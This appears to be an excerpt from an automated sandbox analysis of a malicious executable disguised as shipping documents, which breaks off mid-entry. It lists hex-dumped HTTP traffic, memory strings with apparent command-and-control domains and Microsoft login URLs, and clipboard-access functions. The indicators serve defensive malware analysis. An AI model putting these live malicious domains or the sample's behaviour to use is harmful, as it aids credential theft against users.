6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 11 Dec 2024 23:20:36 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 11 Dec 2024 23:20:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 11 Dec 2024 23:20:44 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Wed, 11 Dec 2024 23:21:01 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeContent-Length: 0Content-Type: text/html; charset=utf-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Wed, 11 Dec 2024 23:21:08 GMTServer: NetlifyX-Nf-Request-Id: 01JEW0DEFTND7EWSCMSEGFAJ6JConnection: closeTransfer-Encoding: chunkedData Raw: 63 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 3a 32 20 31 32 38 20 31 32 35 3b 2d 2d 63 6f 6c 6f 72 54 65 61 6c 41 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 3a 32 34 36 20 32 34 36 20 32 34 37 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 3a 32 33 33 20 32 33 35 20 32 33 37 3b 2d 2d 63 6f 6c 6f 72 48 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 37 30 30 3a 35 33 20 35 38 20 36 32 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 37 30 30 29 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 29 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 73 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 29 3b 2d 2d 65 66 66 65 63 74 53 68 61 64 6f 77 4c 69 67 68 74 53 68 61 6c 6c 6f 77 3a 30 20 31 70 78 20 31 30 70 78 20 30 20 72 67 62 28 35 33 20 35 38 20 36 32 20 2f 20 36 25 29 2c 0a 20 20 20 20 20 20 20 20 20 20 30 20 32 70 78 20 34 70 78 20 30 20 72 67 62 28 35 33 20 35 38 20 36 32 20 2f 20 38 25 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 44 61 72 6b 39 30 30 3a 36 20 31 31 20 31 36 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 72 67 62 28 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 29 29 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 72 67 62 28 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 73 74 29 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 36 30 30 3a 38 34 20 39 30 20 39 37 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Wed, 11 Dec 2024 23:21:11 GMTServer: NetlifyX-Nf-Request-Id: 01JEW0DH2ZEN27KMS03R7EWMTHConnection: closeTransfer-Encoding: chunkedData Raw: 63 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 3a 32 20 31 32 38 20 31 32 35 3b 2d 2d 63 6f 6c 6f 72 54 65 61 6c 41 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 3a 32 34 36 20 32 34 36 20 32 34 37 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 3a 32 33 33 20 32 33 35 20 32 33 37 3b 2d 2d 63 6f 6c 6f 72 48 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 37 30 30 3a 35 33 20 35 38 20 36 32 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 37 30 30 29 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 29 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 73 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 29 3b 2d 2d 65 66 66 65 63 74 53 68 61 64 6f 77 4c 69 67 68 74 53 68 61 6c 6c 6f 77 3a 30 20 31 70 78 20 31 30 70 78 20 30 20 72 67 62 28 35 33 20 35 38 20 36 32 20 2f 20 36 25 29 2c 0a 20 20 20 20 20 20 20 20 20 20 30 20 32 70 78 20 34 70 78 20 30 20 72 67 62 28 35 33 20 35 38 20 36 32 20 2f 20 38 25 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 44 61 72 6b 39 30 30 3a 36 20 31 31 20 31 36 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 72 67 62 28 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 29 29 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 72 67 62 28 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 73 74 29 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 36 30 30 3a 38 34 20 39 30 20 39 37 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Wed, 11 Dec 2024 23:21:16 GMTServer: NetlifyX-Nf-Request-Id: 01JEW0DP9F8NNKJJTX4FMN3PDEConnection: closeTransfer-Encoding: chunkedData Raw: 63 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 3a 32 20 31 32 38 20 31 32 35 3b 2d 2d 63 6f 6c 6f 72 54 65 61 6c 41 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 3a 32 34 36 20 32 34 36 20 32 34 37 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 3a 32 33 33 20 32 33 35 20 32 33 37 3b 2d 2d 63 6f 6c 6f 72 48 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 37 30 30 3a 35 33 20 35 38 20 36 32 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 37 30 30 29 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 29 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 73 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 29 3b 2d 2d 65 66 66 65 63 74 53 68 61 64 6f 77 4c 69 67 68 74 53 68 61 6c 6c 6f 77 3a 30 20 31 70 78 20 31 30 70 78 20 30 20 72 67 62 28 35 33 20 35 38 20 36 32 20 2f 20 36 25 29 2c 0a 20 20 20 20 20 20 20 20 20 20 30 20 32 70 78 20 34 70 78 20 30 20 72 67 62 28 35 33 20 35 38 20 36 32 20 2f 20 38 25 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 44 61 72 6b 39 30 30 3a 36 20 31 31 20 31 36 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 72 67 62 28 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 73 74 29 29 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 72 67 62 28 76 61 72 28 2d 2d 63 6f 6c 6f 72 47 72 61 79 4c 69 67 68 74 65 73 74 29 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 36 30 30 3a 38 34 20 39 30 20 39 37 3b 2d 2d 63 6f 6c 6f 72 47 72 61 79 44 61 72 6b 65 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65

Source: waitfor.exe, 00000005.00000002.4473892138.0000000005E0E000.00000004.10000000.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473478711.000000000372E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=
Source: pNkvbgLNQpIoyz.exe, 00000006.00000002.4474990481.0000000004FFD000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zrichiod-riech.sbs
Source: pNkvbgLNQpIoyz.exe, 00000006.00000002.4474990481.0000000004FFD000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zrichiod-riech.sbs/26nq/
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: waitfor.exe, 00000005.00000002.4473892138.00000000065E8000.00000004.10000000.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473478711.0000000003F08000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: waitfor.exe, 00000005.00000003.2421945049.0000000007D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: waitfor.exe, 00000005.00000002.4473892138.0000000006132000.00000004.10000000.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473478711.0000000003A52000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.hisako.shop/o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7s

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BC4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00BC4164

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BC4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00BC4164

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BC3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00BC3F66

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

